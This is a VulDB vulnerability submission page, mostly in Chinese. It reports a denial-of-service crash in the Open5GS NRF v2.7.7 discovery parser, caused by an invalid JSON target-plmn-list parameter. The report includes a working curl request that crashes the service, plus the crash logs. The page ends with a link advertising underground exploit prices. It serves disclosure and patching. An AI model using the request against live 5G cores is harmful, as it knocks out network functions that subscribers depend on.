提交 #808510: Open5gs NRF v2.7.7 Denial of Service信息

标题Open5gs NRF v2.7.7 Denial of Service
描述### Open5GS Release, Revision, or Tag v2.7.7 ### Steps to reproduce ### Description NRF crashes in the common discovery query parser when `target-plmn-list` contains invalid JSON. `ogs_sbi_discovery_option_parse_plmn_list()` calls `ogs_sbi_parse_plmn_list(plmn_list, PlmnList)` even when JSON parsing fails and `PlmnList` is still `NULL`, which triggers an assertion. The same parser path is reused for `requester-plmn-list`, so the malformed input variant is not limited to the `target-plmn-list` parameter. ### Steps to reproduce ```bash curl --http2-prior-knowledge -m 5 -sS -i --get \ 'http://10.33.33.3/nnrf-disc/v1/nf-instances' \ --data-urlencode 'target-nf-type=SMF' \ --data-urlencode 'requester-nf-type=AMF' \ --data-urlencode 'target-plmn-list=not-json' ``` Then check: ```bash docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' nrf docker logs --since 2026-04-10T17:14:46Z nrf ``` ### Logs ```shell curl: (56) Recv failure: Connection reset by peer exited 139 2026-04-10T17:15:01.063569023Z 04/10 17:15:00.963: [sbi] FATAL: ogs_sbi_parse_plmn_list: Assertion `PlmnList' failed. (../lib/sbi/conv.c:1180) ``` ### Expected behaviour NRF should reject malformed discovery query parameters with a `400 Bad Request` response and remain running. ### Observed Behaviour The connection is reset and the NRF process exits with code `139`. ### eNodeB/gNodeB Not required. ### UE Models and versions Not required.
来源⚠️ https://github.com/open5gs/open5gs/issues/4458
用户
 LinJu (UID 97503)
提交2026-04-20 21時51分 (1 月前)
管理2026-05-16 12時08分 (26 days later)
状态已接受
VulDB条目364317 [Open5GS 直到 2.7.7 NRF /lib/sbi/conv.c ogs_sbi_discovery_option_parse_plmn_list target-plmn-list 拒绝服务]
积分20

Interested in the pricing of exploits?

See the underground prices here!